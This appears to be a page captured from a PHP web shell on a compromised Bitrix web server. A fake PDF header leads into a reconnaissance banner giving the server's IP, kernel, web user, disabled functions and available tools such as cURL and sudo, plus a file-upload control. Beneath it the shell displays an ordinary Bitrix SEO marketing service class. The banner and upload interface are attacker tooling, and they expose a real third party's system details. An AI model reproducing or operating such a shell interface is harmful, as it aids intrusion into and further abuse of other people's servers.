%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 13.58.96.83 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/seo/lib/marketing/ |
Upload File : |
<? namespace Bitrix\Seo\Marketing; use Bitrix\Main\Config\Option; use Bitrix\Seo\BusinessSuite\IInternalService; use Bitrix\Seo\Retargeting\AuthAdapter; use Bitrix\Seo\Retargeting\IMultiClientService; use Bitrix\Seo\Retargeting\IService; /** * Class Service * * @package Bitrix\Seo\Marketing */ class Service implements IService, IMultiClientService, IInternalService { const GROUP = 'marketing'; const TYPE_FACEBOOK = 'facebook'; const TYPE_INSTAGRAM = 'instagram'; protected $clientId; /** * Get instance. * * @return static */ public static function getInstance() { static $instance = null; if ($instance === null) { $instance = new static(); } return $instance; } /** * Get engine code by type. * * @param string $type Type * * @return string */ public static function getEngineCode($type) { return static::GROUP.'.'.$type; } /** * Get Account by type. * * @param string $type Type * * @return Account */ public static function getAccount($type) { static $account = null; if ($account === null) { $account = Account::create($type) ->setService(static::getInstance()); } return $account; } /** * @param $type * @param array $data * * @return mixed */ public static function createCampaign($type, array $data) { return AdCampaign::create($type) ->setService(static::getInstance()) ->createCampaign($data); } /** * @param $type * @param array $data * * @return mixed */ public static function createAudience($type, array $data) { return Audience::create($type) ->setService(static::getInstance()) ->add($data); } /** * @param $type * @param $accountId * * @return array|null */ public static function getPostList($type, $params) { return PostList::create($type) ->setService(static::getInstance()) ->getList($params); } /** * @param $type * * @return Audience|null */ public static function getAudience($type) { return Audience::create($type) ->setService(static::getInstance()); } /** * @param $type * @param $accountId * * @return array|null */ public static function getAudienceList($type, $accountId) { return Audience::create($type) ->setService(static::getInstance()) ->getList($accountId); } /** * @param $type * @param $accountId * * @return array|null */ public static function getAdSetList($type, $accountId) { return AdCampaign::create($type) ->setService(static::getInstance()) ->getAdSetList($accountId); } /** * @param $type * @param $adsId * * @return mixed */ public static function getAds($type, $adsId) { return AdCampaign::create($type) ->setService(static::getInstance()) ->getAds($adsId); } /** * @param $type * @param $adsId * * @return mixed */ public static function searchTargetingData($type, $params) { return AdCampaign::create($type) ->setService(static::getInstance()) ->searchTargetingData($params); } /** * @param $type * @param $accountId * * @return array|null */ public static function getCampaignList($type, $accountId) { return AdCampaign::create($type) ->setService(static::getInstance()) ->getCampaignList($accountId); } /** * Get type list. * * @return array */ public static function getTypes() { return [ static::TYPE_FACEBOOK, static::TYPE_INSTAGRAM, ]; } /** * Get auth adapter. * * @param string $type Type. * * @return AuthAdapter */ public static function getAuthAdapter($type) { return AuthAdapter::create($type) ->setService(static::getInstance()); } /** * Get client id * @return string */ public function getClientId() { return $this->clientId; } /** * Set client id. * * @param string $clientId Client id. * * @return void */ public function setClientId($clientId) { $this->clientId = $clientId; } /** * Can use multiple clients * @return bool * @throws \Bitrix\Main\ArgumentNullException * @throws \Bitrix\Main\ArgumentOutOfRangeException */ public static function canUseMultipleClients() { return Option::get('seo', 'use_multiple_clients', true); } /** * @inheritDoc */ public static function getTypeByEngine(string $engineCode): ?string { foreach (static::getTypes() as $type) { if($engineCode === static::getEngineCode($type)) { return $type; } } return null; } /** * @inheritDoc */ public static function canUseAsInternal(): bool { return true; } /** * @inheritDoc */ public static function getMethodPrefix(): string { return 'marketing'; } }